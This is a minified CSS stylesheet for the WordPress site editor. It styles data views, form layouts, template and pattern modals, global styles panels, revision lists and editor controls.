.dataviews-view-picker-grid__media:focus:after{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-view-picker-grid:focus-visible[aria-activedescendant]{ outline:none; } .dataviews-view-picker-grid:focus-visible [data-active-item=true]{ outline:2px solid var(--wp-admin-theme-color); } .dataviews-view-picker-grid .dataviews-selection-checkbox{ top:8px !important; } .dataviews-view-picker-grid .dataviews-selection-checkbox input{ pointer-events:none; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media{ aspect-ratio:1/1; background-color:#fff; border-radius:4px; position:relative; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; left:0; pointer-events:none; position:absolute; top:0; width:100%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields{ font-size:12px; line-height:16px; position:relative; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields:not(:empty){ padding:0 0 12px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field-value:not(:empty){ line-height:20px; min-height:24px; padding-top:2px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field{ align-items:center; min-height:24px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-name{ color:#757575; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:35%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:65%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field:not(:has(.dataviews-view-picker-grid__field-value:not(:empty))){ display:none; } .dataviews-view-picker-grid .dataviews-view-picker-grid__badge-fields:not(:empty){ padding-bottom:12px; } .dataviews-view-picker-grid__field-value:empty,.dataviews-view-picker-grid__field:empty{ display:none; } .dataviews-view-picker-grid__card .dataviews-selection-checkbox{ left:8px; position:absolute; top:-9999em; z-index:1; } @media (hover:none){ .dataviews-view-picker-grid__card .dataviews-selection-checkbox{ top:8px; } } .dataviews-view-picker-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:hover .dataviews-selection-checkbox{ top:8px; } .dataviews-view-picker-grid__media--clickable{ cursor:pointer; } .dataviews-view-picker-grid-group__header{ color:#1e1e1e; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 48px; } .dataviews-controls__datetime{ border:none; padding:0; } .dataviews-controls__relative-date-number,.dataviews-controls__relative-date-unit{ flex:1 1 50%; } .dataviews-controls__date input[type=date]::-webkit-calendar-picker-indicator,.dataviews-controls__date input[type=date]::-webkit-inner-spin-button{ -webkit-appearance:none; display:none; } .dataviews-controls__date-preset{ border:1px solid #ddd; } .dataviews-controls__date-preset:active{ background-color:#000; } .dataforms-layouts-panel__field{ align-items:flex-start !important; justify-content:flex-start !important; min-height:32px; width:100%; } .dataforms-layouts-panel__field-label{ align-items:center; display:flex; flex-shrink:0; hyphens:auto; line-height:20px; min-height:32px; width:38%; } .dataforms-layouts-panel__field-label--label-position-side{ align-self:center; } .dataforms-layouts-panel__field-control{ align-items:center; display:flex; flex-grow:1; min-height:32px; } .dataforms-layouts-panel__field-control .components-button{ max-width:100%; min-height:32px; text-align:left; text-wrap:balance; text-wrap:pretty; white-space:normal; } .dataforms-layouts-panel__field-control.components-button.is-link[aria-disabled=true]{ text-decoration:none; } .dataforms-layouts-panel__field-control .components-dropdown{ max-width:100%; } .dataforms-layouts-panel__field-dropdown .components-popover__content{ min-width:320px; padding:16px; } .dataforms-layouts-panel__dropdown-header{ margin-bottom:16px; } .dataforms-layouts-panel__modal-footer{ margin-top:16px; } .components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{ z-index:159990; } .dataforms-layouts-regular__field{ align-items:flex-start !important; justify-content:flex-start !important; min-height:32px; width:100%; } .dataforms-layouts-regular__field-label{ align-items:center; display:flex; flex-shrink:0; hyphens:auto; line-height:20px; min-height:32px; width:38%; } .dataforms-layouts-regular__field-label--label-position-side{ align-self:center; } .dataforms-layouts-regular__field-control{ align-items:center; display:flex; flex-grow:1; min-height:32px; } .dataforms-layouts-card__field-header-label{ font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:15px; font-weight:500; line-height:20px; } .dataforms-layouts-card__field{ width:100%; } .dataforms-layouts-card__field-description{ color:#757575; display:block; font-size:13px; margin-bottom:16px; } .dataforms-layouts-card__field-summary{ display:flex; flex-direction:row; gap:16px; } .dataforms-layouts-row__field-control{ width:100%; } .dataforms-layouts__wrapper{ font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; } :root{ --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; --wp-bound-block-color:var(--wp-block-synced-color); --wp-editor-canvas-background:#ddd; --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 160.5; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .fields-create-template-part-modal{ z-index:1000001; } .fields-create-template-part-modal__area-fieldset{ border:0; margin:0; padding:0; } .fields-create-template-part-modal__area-radio-group{ border:1px solid #949494; border-radius:2px; } .fields-create-template-part-modal__area-radio-wrapper{ align-items:center; display:grid; grid-template-columns:min-content 1fr min-content; padding:12px; position:relative; grid-gap:4px 8px; color:#1e1e1e; } .fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{ border-top:1px solid #949494; } .fields-create-template-part-modal__area-radio-wrapper input[type=radio]{ opacity:0; position:absolute; } .fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){ z-index:1; } .fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{ color:var(--wp-admin-theme-color); } .fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){ pointer-events:none; } .fields-create-template-part-modal__area-radio-label:before{ content:""; inset:0; position:absolute; } input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{ cursor:pointer; } input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:4px solid #0000; } .fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{ fill:currentColor; } input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{ opacity:0; } .fields-create-template-part-modal__area-radio-description{ color:#757575; font-size:12px; grid-column:2 / 3; line-height:normal; margin:0; text-wrap:pretty; } input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{ color:inherit; } .fields-controls__slug{ border:0; margin:0; padding:0; } .fields-controls__slug .fields-controls__slug-external-icon{ margin-left:5ch; } .fields-controls__slug .fields-controls__slug-input input.components-input-control__input{ padding-inline-start:0 !important; } .fields-controls__slug .fields-controls__slug-help-link{ word-break:break-word; } .fields-controls__slug .fields-controls__slug-help{ display:flex; flex-direction:column; } .fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{ font-weight:600; } .fields-controls__featured-image-placeholder{ background:#fff linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0); border-radius:2px; box-shadow:inset 0 0 0 1px #0003; display:inline-block; padding:0; } .fields-controls__featured-image-title{ color:#1e1e1e; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:100%; } .fields-controls__featured-image-image{ align-self:center; border-radius:2px; height:100%; width:100%; } .fields-controls__featured-image-container .fields-controls__featured-image-placeholder{ margin:0; } .fields-controls__featured-image-container span{ margin-right:auto; } fieldset.fields-controls__featured-image{ border:0; margin:0; padding:0; } fieldset.fields-controls__featured-image .fields-controls__featured-image-container{ border:1px solid #ddd; border-radius:2px; cursor:pointer; padding:8px 12px; } fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{ background-color:#f0f0f0; } fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{ height:24px; width:24px; } fieldset.fields-controls__featured-image span{ align-self:center; text-align:start; white-space:nowrap; } fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{ height:fit-content; padding:0; } fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{ border:0; color:unset; } fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{ place-self:end; } .dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{ height:16px; width:16px; } .dataviews-view-grid__media .fields-controls__featured-image-image,.dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-image,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{ border-radius:4px; display:block; height:100%; width:100%; } .dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{ background:#f0f0f0; box-shadow:none; } .dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{ height:32px; width:32px; } .fields-controls__parent,.fields-controls__password,.fields-controls__template{ border:0; margin:0; padding:0; } .fields-controls__template-modal{ z-index:1000001; } .fields-controls__template-content .block-editor-block-patterns-list{ column-count:2; column-gap:24px; padding-top:2px; } @media (min-width:782px){ .fields-controls__template-content .block-editor-block-patterns-list{ column-count:3; } } @media (min-width:1280px){ .fields-controls__template-content .block-editor-block-patterns-list{ column-count:4; } } .fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .fields-field__title>span:first-child{ display:block; flex-grow:0; overflow:hidden; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; } .fields-field__pattern-title span:first-child{ flex:1; } .edit-site-custom-template-modal__contents-wrapper{ height:100%; justify-content:flex-start !important; } .edit-site-custom-template-modal__contents-wrapper>*{ width:100%; } .edit-site-custom-template-modal__contents-wrapper__suggestions_list{ margin-left:-12px; margin-right:-12px; width:calc(100% + 24px); } .edit-site-custom-template-modal__contents>.components-button{ height:auto; justify-content:center; } @media (min-width:782px){ .edit-site-custom-template-modal{ width:456px; } } @media (min-width:600px){ .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{ max-height:224px; overflow-y:auto; } } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{ display:block; height:auto; overflow-wrap:break-word; padding:8px 12px; text-align:left; white-space:pre-wrap; width:100%; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{ background:none; font-weight:700; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{ color:var(--wp-admin-theme-color); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{ background-color:#f0f0f0; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{ display:block; overflow:hidden; text-overflow:ellipsis; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{ color:#757575; word-break:break-all; } .edit-site-custom-template-modal__no-results{ border:1px solid #ccc; border-radius:2px; padding:16px; } .edit-site-custom-generic-template__modal .components-modal__header{ border-bottom:none; } .edit-site-custom-generic-template__modal .components-modal__content:before{ margin-bottom:4px; } @media (min-width:960px){ .edit-site-add-new-template__modal{ margin-top:64px; max-height:calc(100% - 128px); max-width:832px; width:calc(100% - 128px); } } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{ fill:var(--wp-admin-theme-color); } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{ align-items:flex-start; flex-grow:1; } .edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-radius:100%; max-height:40px; max-width:40px; padding:8px; } .edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{ border:1px solid #ddd; display:flex; flex-direction:column; justify-content:center; outline:1px solid #0000; padding:32px; } .edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{ color:#1e1e1e; } .edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{ color:#757575; } .edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-color:#0000; color:var(--wp-admin-theme-color-darker-10); } .edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{ border-color:#0000; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:3px solid #0000; } .edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{ grid-column:1 / -1; } .edit-site-add-new-template__template-list__contents>.components-button{ align-items:flex-start; height:100%; text-align:start; } .edit-site-visual-editor__editor-canvas.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-canvas-loader{ align-items:center; display:flex; height:100%; justify-content:center; left:0; opacity:0; position:absolute; top:0; width:100%; } @media not (prefers-reduced-motion){ .edit-site-canvas-loader{ animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s; animation-fill-mode:forwards; } } .edit-site-canvas-loader>div{ width:160px; } @keyframes edit-site-canvas-loader__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } .edit-site-global-styles-preview{ align-items:center; cursor:pointer; display:flex; justify-content:center; line-height:1; } .edit-site-global-styles-preview__wrapper{ display:block; max-width:100%; width:100%; } .edit-site-typography-preview{ align-items:center; background:#f0f0f0; border-radius:2px; display:flex; justify-content:center; margin-bottom:16px; min-height:100px; overflow:hidden; } .edit-site-font-size__item{ line-break:anywhere; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .edit-site-font-size__item-value{ color:#757575; } .edit-site-global-styles-screen{ margin:12px 16px 16px; } .edit-site-global-styles-screen-typography__indicator{ align-items:center; border-radius:1px; display:flex !important; font-size:14px; height:24px; justify-content:center; width:24px; } .edit-site-global-styles-screen-typography__font-variants-count{ color:#757575; } .edit-site-global-styles-font-families__manage-fonts{ justify-content:center; } .edit-site-global-styles-screen .color-block-support-panel{ border-top:none; padding-left:0; padding-right:0; padding-top:0; row-gap:12px; } .edit-site-global-styles-header__description{ padding:0 16px; } .edit-site-block-types-search{ margin-bottom:8px; padding:0 16px; } .edit-site-global-styles-header{ margin-bottom:0 !important; } .edit-site-global-styles-subtitle{ font-size:11px !important; font-weight:500 !important; margin-bottom:0 !important; text-transform:uppercase; } .edit-site-global-styles-section-title{ color:#2f2f2f; font-weight:600; line-height:1.2; margin:0; padding:16px 16px 0; } .edit-site-global-styles-icon-with-current-color{ fill:currentColor; } .edit-site-global-styles__color-indicator-wrapper{ flex-shrink:0; height:24px; } .edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__typography-panel__options-container{ height:24px; } .edit-site-global-styles__block-preview-panel{ border:1px solid #e0e0e0; border-radius:4px; overflow:hidden; position:relative; width:100%; } .edit-site-global-styles__shadow-preview-panel{ background-image:repeating-linear-gradient(45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5), repeating-linear-gradient(45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5); background-position:0 0, 8px 8px; background-size:16px 16px; border:1px solid #e0e0e0; border-radius:4px; height:144px; overflow:auto; } .edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{ background-color:#fff; border:1px solid #e0e0e0; border-radius:2px; height:60px; width:60%; } .edit-site-global-styles__shadow-editor__dropdown-content{ width:280px; } .edit-site-global-styles__shadow-editor-panel{ margin-bottom:4px; } .edit-site-global-styles__shadow-editor__dropdown{ position:relative; width:100%; } .edit-site-global-styles__shadow-editor__dropdown-toggle{ border-radius:inherit; height:auto; padding-bottom:8px; padding-top:8px; text-align:left; width:100%; } .edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{ background:#f0f0f0; color:var(--wp-admin-theme-color); } .edit-site-global-styles__shadow-editor__remove-button{ opacity:0; position:absolute; right:8px; top:8px; } .edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{ border:none; } .edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{ opacity:1; } @media (hover:none){ .edit-site-global-styles__shadow-editor__remove-button{ opacity:1; } } .edit-site-global-styles-screen-css{ display:flex; flex:1 1 auto; flex-direction:column; margin:16px; } .edit-site-global-styles-screen-css .components-v-stack{ flex:1 1 auto; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{ display:flex; flex:1 1 auto; flex-direction:column; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{ direction:ltr; flex:1 1 auto; } .edit-site-global-styles-screen-css-help-link{ display:inline-block; margin-top:8px; } .edit-site-global-styles-screen-variations{ border-top:1px solid #ddd; margin-top:16px; } .edit-site-global-styles-screen-variations>*{ margin:24px 16px; } .edit-site-global-styles-sidebar__navigator-provider{ height:100%; } .edit-site-global-styles-sidebar__navigator-screen{ display:flex; flex-direction:column; height:100%; } .edit-site-global-styles-sidebar__navigator-screen .single-column{ grid-column:span 1; } .edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{ background:unset; color:inherit; } .edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{ fill:currentColor; } .edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{ border-radius:2px; } .edit-site-global-styles-screen-revisions__revisions-list{ flex-grow:1; list-style:none; margin:0 16px 16px; } .edit-site-global-styles-screen-revisions__revisions-list li{ margin-bottom:0; } .edit-site-global-styles-screen-revisions__revision-item{ cursor:pointer; display:flex; flex-direction:column; position:relative; } .edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid #0000; } .edit-site-global-styles-screen-revisions__revision-item:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{ color:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{ content:"\a"; display:block; position:absolute; } .edit-site-global-styles-screen-revisions__revision-item:before{ background:#ddd; border:4px solid #0000; border-radius:50%; height:8px; left:17px; top:18px; transform:translate(-50%, -50%); width:8px; z-index:1; } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-radius:2px; color:var(--wp-admin-theme-color); outline:3px solid #0000; outline-offset:-2px; } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{ color:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{ background:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{ color:#1e1e1e; } .edit-site-global-styles-screen-revisions__revision-item:after{ border:.5px solid #ddd; height:100%; left:16px; top:0; width:0; } .edit-site-global-styles-screen-revisions__revision-item:first-child:after{ top:18px; } .edit-site-global-styles-screen-revisions__revision-item:last-child:after{ height:18px; } .edit-site-global-styles-screen-revisions__revision-item-wrapper{ display:block; padding:12px 12px 4px 40px; } .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{ align-self:flex-start; margin:4px 12px 12px 40px; } .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{ color:#757575; font-size:12px; } .edit-site-global-styles-screen-revisions__description{ align-items:flex-start; display:flex; flex-direction:column; gap:8px; } .edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{ font-size:12px; font-weight:600; text-transform:uppercase; } .edit-site-global-styles-screen-revisions__meta{ align-items:flex-start; display:flex; justify-content:start; margin-bottom:4px; text-align:left; width:100%; } .edit-site-global-styles-screen-revisions__meta img{ border-radius:100%; height:16px; margin-right:8px; width:16px; } .edit-site-global-styles-screen-revisions__loading{ margin:24px auto !important; } .edit-site-global-styles-screen-revisions__changes{ line-height:1.4; list-style:disc; margin-left:12px; text-align:left; } .edit-site-global-styles-screen-revisions__changes li{ margin-bottom:4px; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{ gap:2px; justify-content:space-between; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{ height:1px; left:-1000px; margin:-1px; overflow:hidden; position:absolute; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{ font-size:12px; will-change:opacity; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{ color:#1e1e1e; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{ color:#949494; } .edit-site-global-styles-screen-revisions__footer{ background:#fff; border-top:1px solid #ddd; bottom:0; height:56px; min-width:100%; padding:12px; position:sticky; z-index:1; } .edit-site-global-styles-sidebar{ display:flex; flex-direction:column; min-height:100%; } .edit-site-global-styles-sidebar__panel{ flex:1; } .edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{ margin:0; } .edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{ flex:1; } .edit-site-global-styles-sidebar .components-navigation__menu-title-heading{ font-size:15.6px; font-weight:500; } .edit-site-global-styles-sidebar .components-navigation__item>button span{ font-weight:500; } .edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{ border:0; } .edit-site-global-styles-sidebar .single-column{ grid-column:span 1; } .edit-site-global-styles-sidebar .components-tools-panel .span-columns{ grid-column:1 / -1; } .edit-site-global-styles-sidebar__blocks-group{ border-top:1px solid #e0e0e0; padding-top:24px; } .edit-site-global-styles-sidebar__blocks-group-help{ padding:0 16px; } .edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{ padding:16px; } .edit-site-global-styles-sidebar hr{ margin:0; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{ width:auto; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{ display:none; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .edit-site-patterns__delete-modal{ width:384px; } .page-patterns-preview-field{ align-items:center; border-radius:4px; display:flex; flex-direction:column; height:100%; justify-content:center; } .dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{ height:100%; } .dataviews-view-table .page-patterns-preview-field{ flex-grow:0; text-wrap:balance; text-wrap:pretty; width:96px; } .edit-site-patterns__pattern-icon{ fill:var(--wp-block-synced-color); flex-shrink:0; } .edit-site-patterns__section-header{ border-bottom:1px solid #f0f0f0; flex-shrink:0; min-height:40px; padding:16px 48px; position:sticky; top:0; z-index:2; } @media not (prefers-reduced-motion){ .edit-site-patterns__section-header{ transition:padding .1s ease-out; } } .edit-site-patterns__section-header .edit-site-patterns__title{ min-height:40px; } .edit-site-patterns__section-header .edit-site-patterns__title .components-heading{ flex-basis:0; flex-grow:1; white-space:nowrap; } .edit-site-patterns__section-header .edit-site-patterns__sub-title{ margin-bottom:8px; } .edit-site-patterns__section-header .screen-reader-shortcut:focus{ top:0; } .edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){ background:rgba(var(--wp-block-synced-color--rgb), .04); color:var(--wp-block-synced-color); } .dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{ width:350px; } .dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{ position:relative; } .dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){ background-color:#fff; border:1px solid var(--wp-admin-theme-color); border-bottom-left-radius:2px; border-bottom-right-radius:2px; box-shadow:0 0 .5px .5px var(--wp-admin-theme-color); box-sizing:border-box; left:-1px; max-height:96px; min-width:auto; position:absolute; width:calc(100% + 2px); z-index:1; } @media (min-width:600px){ .dataviews-action-modal__duplicate-template-part .components-modal__frame{ max-width:500px; } } @container (max-width: 430px){ .edit-site-page-patterns-dataviews .edit-site-patterns__section-header{ padding-left:24px; padding-right:24px; } } .page-templates-preview-field{ align-items:center; border-radius:4px; display:flex; flex-direction:column; height:100%; justify-content:center; width:100%; } .dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{ height:120px; } .dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{ height:100%; } .dataviews-view-table .page-templates-preview-field{ max-height:160px; position:relative; text-wrap:balance; text-wrap:pretty; width:120px; } .edit-site-page-templates .dataviews-pagination{ z-index:2; } .page-templates-author-field__avatar{ align-items:center; display:flex; flex-shrink:0; height:24px; justify-content:left; overflow:hidden; width:24px; } .page-templates-author-field__avatar img{ border-radius:100%; height:16px; object-fit:cover; opacity:0; width:16px; } @media not (prefers-reduced-motion){ .page-templates-author-field__avatar img{ transition:opacity .1s linear; } } .page-templates-author-field__avatar.is-loaded img{ opacity:1; } .page-templates-author-field__icon{ display:flex; flex-shrink:0; height:24px; width:24px; } .page-templates-author-field__icon svg{ margin-left:-4px; fill:currentColor; } .page-templates-author-field__name{ overflow:hidden; text-overflow:ellipsis; } .edit-site-list__rename-modal{ z-index:1000001; } @media (min-width:782px){ .edit-site-list__rename-modal .components-base-control{ width:320px; } } .edit-site-editor__editor-interface{ opacity:1; } @media not (prefers-reduced-motion){ .edit-site-editor__editor-interface{ transition:opacity .1s ease-out; } } .edit-site-editor__editor-interface.is-loading{ opacity:0; } .edit-site-editor__toggle-save-panel{ background-color:#fff; border:1px dotted #ddd; box-sizing:border-box; display:flex; justify-content:center; padding:24px; width:280px; } .edit-site-editor__view-mode-toggle{ view-transition-name:toggle; height:64px; left:0; top:0; width:64px; z-index:100; } .edit-site-editor__view-mode-toggle .components-button{ align-items:center; border-radius:0; color:#fff; display:flex; height:100%; justify-content:center; overflow:hidden; padding:0; width:100%; } .edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{ color:#fff; } .edit-site-editor__view-mode-toggle .components-button:focus{ box-shadow:none; } 